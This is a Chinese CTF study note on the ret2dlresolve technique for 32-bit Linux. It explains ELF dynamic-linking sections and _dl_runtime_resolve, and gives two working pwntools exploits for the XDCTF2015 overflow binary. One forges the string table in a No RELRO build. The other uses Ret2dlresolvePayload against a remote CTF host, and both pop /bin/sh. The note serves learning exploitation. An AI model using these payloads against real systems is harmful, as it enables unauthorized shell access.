ret2dlresolver学习笔记
利用思路介绍
主要利用到了_dl_runtime_resolve
函数的缺陷,本文只讨论x86下的利用方式,本文尽量用自己的思路简述一下自己理解的内容,可能有所疏漏。
ELF中的关键段
1 | readelf -a xxx |
.dynsym
节,动态符号链接表,每一个表项都代表了一个结构体Elf32_Sym/Elf64_Sym,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17typedef struct {
Elf32_Word st_name; /* 符号名,符号在字符串表中的偏移 */
Elf32_Addr st_value; /* 符号的值,可能是地址或偏移(被导出后)*/
Elf32_Word st_size; /* 符号的大小 */
unsigned char st_info; /* 符号类型及绑定属性 */
unsigned char st_other; /* 符号的可见性 */
Elf32_Section st_shndx; /* 节头表索引 */
} Elf32_Sym;
typedef struct {
Elf64_Word st_name; /* 符号名,符号在字符串表中的偏移 */
unsigned char st_info; /* 符号类型及绑定属性 */
unsigned char st_other; /* 符号的可见性 */
Elf64_Section st_shndx; /* 节头表索引 */
Elf64_Addr st_value; /* 符号的值,可能是地址或偏移 */
Elf64_Xword st_size; /* 符号的大小 */
} Elf64_Sym;
.dynstr
节,动态链接字符串表,.dynsym
节提供字符串表的偏移,用于获取对应函数的名称。.rel.dyn
和.rel.plt
节,都属于重定位表,其中.rel.plt
的结构为1
2
3
4
5typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* */
} Elf32_Rel每一个表项都代表一个函数,r_offset代表了函数的地址,而r_info代表了一些相关信息,包括被导入的数量和在动态符号表中的偏移。
.dynamic
节,保存了动态链接器所需要基本信息,其中包括字符表的地址,在该节可写的情况下,可以通过修改字符表地址的方式来伪造动态字符表。.bss
节,编译器未初始化数据的地方。一般在利用中作为写入数据的区域。
延迟绑定
延迟绑定指的是,程序在运行前不会先加载库函数的真实地址,而是在对应plt表中放置一个寻址函数,使用寻址函数拿到库函数的地址。通过寻址函数调用__dl_runtime_resolve
来获取真实库函数的地址,并写回到.got.plt
节,对应的位置。
__dl_runtime_resolve工作原理
实际上__dl_runtime_resolve
函数实现对目标库函数的寻址是通过__dl_fixup
函数来实现的。
- 获取到动态符号表,动态字符表,重定位表。
- 通过重定位表的地址和reloc_offset获取到对应函数的重定位表项Elf32/64_Rel的指针。
- 结合重定位表项,分别获取动态符号表,和动态字符表。
- 结合以上信息查找对应函数的地址,执行函数,并将地址写回到
.got.plt
节对应的位置。
利用方式
Partial RELRO
写
.dynamic
节的内容,修改.dynstr
的地址,在解析时,将目标函数解析为危险函数,然后强制调用目标函数触发_dl_runtime_resolve
,触发危险函数。No RELRO
当
.dynstr
无法写时,通过溢出一个较大的reloc_offset,让函数到bss上寻找伪造的重定位表项指针,然后完成利用。
exp
No RELRO
例子的源码,编译命令
1
gcc test.c -o xxx -fno-stack-protector -m32 -z norelro -no-piex
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}开了NX,所以不能在栈上执行shellcode,但是可以写
.dynstr
,没开PIE也没开canary保护,直接用静态地址就可以了。其实也可以用ret2libc的思路来做,但是这里选择使用ret2dlresolve来做,具体思路就是连续四次pop,分别是修改动态字符表的地址,伪造动态字符表的内容,写入函数参数,以及访问重定位函数强制触发解析流程触发后门函数。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
p = process("./bof_no_relro_32")
elf=ELF("./bof_no_relro_32")
def debug(r):
gdb.attach(r, 'b main')
pause()
offset = 112
dynstr = elf.get_section_by_name('.dynstr').data()
#获取DT_STRTAB字符串表
dynstr = dynstr.replace(b"read",b"system")
#将DT_STRTAB中的read改为system
read_plt=elf.plt["read"]
main_plt=0x08049240
ret_addr = 0x0804900e
bss_base = elf.bss()
DT_STRTAB_ADDR = elf.get_section_by_name('.dynamic').header.sh_addr+(17*4)
print(hex(DT_STRTAB_ADDR))
#触发read的重定向
#对read下断点,read@plt的跳转地址就是该地址
relro_read = 0x8049050
payload=b'a'*offset #填充
#第一次读取,将DYNAMIC中记录的DT_STRTAB地址替换道bss段
payload += p32(read_plt)+p32(main_plt)+p32(0)+p32(DT_STRTAB_ADDR)+p32(4)
# change to bss
#第二次读取:将bss段的内容替换为DT_STRTAB原本的字符串表
payload1= b'a'*offset+p32(read_plt)+p32(main_plt)+p32(0)+p32(bss_base) + \
p32(len(dynstr))
# fake str table
# 第三次读取:向bss+0x300处读入“/bin/sh”
payload2= b'a'*offset+p32(read_plt)+p32(main_plt) + \
p32(0)+p32(bss_base+0x300)+p32(len("/bin/sh\x00"))
#返回地址:强制重定向read函数,read函数调用system
payload3 = b'a'*offset+p32(relro_read)+b"aaaa"+p32(bss_base+0x300)
#填充
debug(p)
p.sendlineafter("~!\n",payload)
p.send(p32(bss_base))
p.sendlineafter("~!\n", payload1)
pause()
p.send(dynstr)
p.sendlineafter("~!\n", payload2)
pause()
p.send(b"/bin/sh\x00")
p.sendlineafter("~!\n", payload3)
p.interactive()
Partial RELRO
开启部分RELRO保护
1
gcc test.c -o xxx -fno-stack-protector -m32 -no-piex
和上面的例子不一样的是这里没法写
.dynstr
,所以利用思路是伪造reloc_offset,在bss上找到伪造的重定向指针,后续基本上和前面的原理一致。这里直接使用pwntools提供的自动化脚本。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from pwn import *
is_not_remote=False
if __name__=='__main__':
context.binary = elf = ELF("./bof")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
if is_not_remote:
io = process("./bof")
else:
io = remote("node4.buuoj.cn",26056)
io.recvuntil("Welcome to XDCTF2015~!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()
总结
实际上是利用了linux的延迟绑定机制,主要就是搞明白几个点。首先,延迟绑定机制是如何作用的,其次是elf几个节的内容都是做什么的,最后是__dl_runtime_resolve
函数的解析机理和缺陷。搞明白后exp就出的顺理成章了。